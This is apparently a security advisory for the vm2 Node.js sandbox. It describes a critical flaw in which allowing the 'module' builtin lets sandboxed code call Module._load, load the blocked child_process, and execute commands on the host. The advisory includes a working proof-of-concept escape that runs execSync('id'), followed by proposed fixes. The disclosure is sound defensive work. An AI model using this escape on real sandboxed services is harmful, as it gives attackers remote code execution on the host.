NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution.
Critical (CVSS 3.1: 9.9)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
['*', '-child_process'] is a common, documented patternlib/builtin.js — makeBuiltinsFromLegacyOptions() (lines 109-117) — includes module in '*' expansionlib/builtin.js — addDefaultBuiltin() (lines 86-90) — loads module with generic readonly wrapperlib/builtin.js — SPECIAL_MODULES (line 61) — does NOT include modulemodule builtin provides unrestricted host module loadingWhen builtin: ['*', '-child_process'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTIN_MODULES and adds all modules not explicitly excluded:
// lib/builtin.js:40
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s=>!s.startsWith('internal/'));
// lib/builtin.js:109-117
if (Array.isArray(builtins)) {
const def = builtins.indexOf('*') >= 0;
if (def) {
for (let i = 0; i < BUILTIN_MODULES.length; i++) {
const name = BUILTIN_MODULES[i];
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
}
}
Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-child_process' is excluded, 'module' passes the filter and gets added.
The module builtin is NOT in SPECIAL_MODULES (which only covers events, buffer, util), so it gets the generic loader:
// lib/builtin.js:86-90
function addDefaultBuiltin(builtins, key, hostRequire) {
if (builtins.has(key)) return;
const special = SPECIAL_MODULES[key];
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
}
This wraps Node's Module class in a readonly proxy and hands it to the sandbox.
ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.
BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:
apply(target, context, args) {
const object = getHandlerObject(this);
let ret;
try {
context = otherFromThis(context);
args = otherFromThisArguments(args);
ret = otherReflectApply(object, context, args);
} catch (e) {
throw thisFromOtherForThrow(e);
}
return thisFromOther(ret);
}
So Module._load('child_process') is forwarded to Node's native Module._load in the host context, which loads child_process without any vm2 allowlist check.
module is notThe codebase IS aware that certain builtins need special handling:
events: Gets a complete sandbox-native reimplementation via lib/events.jsbuffer: Custom loader that only exposes the Buffer classutil: Custom loader that replaces inherits with a sandbox-safe versionBut module — which provides access to the host's entire module loading infrastructure via Module._load, Module._resolveFilename, etc. — gets no special treatment at all.
NodeVM with builtin: ['*', '-child_process']makeBuiltinsFromLegacyOptions adds 'module' to allowed builtins (not excluded)require('module') → resolver finds 'module' in builtins → loadBuiltinModule('module')vm.readonly(hostRequire('module')) → returns readonly proxy of Node's Module classModule._load → BaseHandler.get() returns proxied functionModule._load('child_process') → BaseHandler.apply() forwards to hostModule._load loads child_process natively (no vm2 check involved)child_process module proxied back to sandboxchild_process.execSync('id') → executes on host → RCEconst { NodeVM } = require('vm2');
// Developer thinks child_process is blocked
const vm = new NodeVM({
require: {
builtin: ['*', '-child_process'],
external: false,
},
});
const out = vm.run(`
const Module = require('module');
// Module._load bypasses vm2's builtin allowlist entirely
const cp = Module._load('child_process');
module.exports = cp.execSync('id').toString();
`, 'poc.js');
console.log(out.trim()); // prints host uid/gid — RCE achieved
module builtin (including ['*', '-X'] patterns) can load ANY builtin, including explicitly excluded ones.child_process.execSync.['*', '-child_process', '-fs'] pattern is documented and widely used by developers who want "all builtins except dangerous ones."'*' wildcard.module: Beyond _load, the Module class also exposes _resolveFilename, _cache, _pathCache, and other internals that could be abused.module from BUILTIN_MODULES entirely (Preferred)The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:
// lib/builtin.js:40
const DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));
This prevents module from being included even with the '*' wildcard. Consider also blocking worker_threads and cluster which can spawn processes.
module to SPECIAL_MODULES with a safe wrapperIf module must be accessible, provide a sandbox-safe version that only exposes safe APIs:
// lib/builtin.js
const SPECIAL_MODULES = {
events: { /* ... existing ... */ },
buffer: defaultBuiltinLoaderBuffer,
util: defaultBuiltinLoaderUtil,
module: function defaultBuiltinLoaderModule(vm) {
// Only expose safe, read-only metadata — no _load, no _resolveFilename
return vm.readonly({
builtinModules: [...nmod.builtinModules],
// Omit _load, _resolveFilename, _cache, createRequire, etc.
});
}
};
Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.
This vulnerability was discovered and reported by bugbunny.ai.
{
"cwe_ids": [
"CWE-863"
],
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T04:08:55Z",
"nvd_published_at": "2026-05-13T18:16:16Z"
}